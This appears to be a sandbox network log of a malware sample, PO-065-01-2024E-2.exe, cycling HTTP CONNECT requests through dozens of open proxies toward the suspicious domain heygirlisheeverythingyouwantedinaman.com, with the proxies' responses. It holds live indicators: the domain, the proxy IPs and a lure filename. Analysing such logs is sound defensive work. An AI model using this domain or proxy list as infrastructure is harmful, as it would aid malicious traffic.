Mar 11, 2024 16:39:57.208168030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598481894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.911053896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.614201069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.707580090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.10	55101	166.62.38.100	2453	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.511861086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098345995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.10	55007	94.45.74.60	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.512017012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.10	55119	185.162.228.128	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.518404007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.673916101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.10	55099	104.129.206.65	8800	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.551556110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.754801035 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.10	54952	115.167.124.75	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.566946030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.636739016 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.10	55109	186.96.50.20	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.567118883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176647902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994215012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.018547058 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.10	54979	203.112.134.74	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.568291903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.10	54217	163.172.166.35	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.580674887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.676630020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.860300064 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.10	55052	45.120.178.197	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.599967957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.10	54363	129.213.150.205	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.608580112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.10	55049	51.161.131.84	58612	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.608583927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.10	51227	194.4.50.91	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.609910965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.10	51269	45.225.204.8	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.617088079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.676680088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.558422089 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.10	55058	8.217.143.187	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.621462107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.10	55113	184.185.2.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.631257057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.10	54987	148.66.130.187	20962	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.631258011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598450899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.004813910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.910981894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.410984993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.10	55149	200.115.188.52	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.632106066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.871613026 CET	243	IN	HTTP/1.0 307 Temporary Redirect Content-Length: 0 Content-Type: text/html Date: Mon, 11 Mar 2024 15:39:52 GMT Expires: Mon, 11 Mar 2024 15:39:52 GMT Server: Mikrotik HttpProxy Proxy-Connection: close Location: http://www.avis.com.hn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.10	55057	157.185.173.217	26589	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.638842106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.10	55096	158.255.215.50	16993	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.638916016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.937969923 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.10	55120	190.26.255.28	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.656060934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.286000967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.176903009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.836775064 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.10	55097	8.217.95.44	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.659842014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.10	55059	79.110.202.131	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.659842014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.10	55054	148.72.215.230	44387	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.684144020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.481895924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676738024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989140987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.473884106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.988998890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.473309994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:19.176373959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.473407984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.10	55055	103.216.49.233	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.685597897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.10	54882	117.160.250.138	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.691571951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994122982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
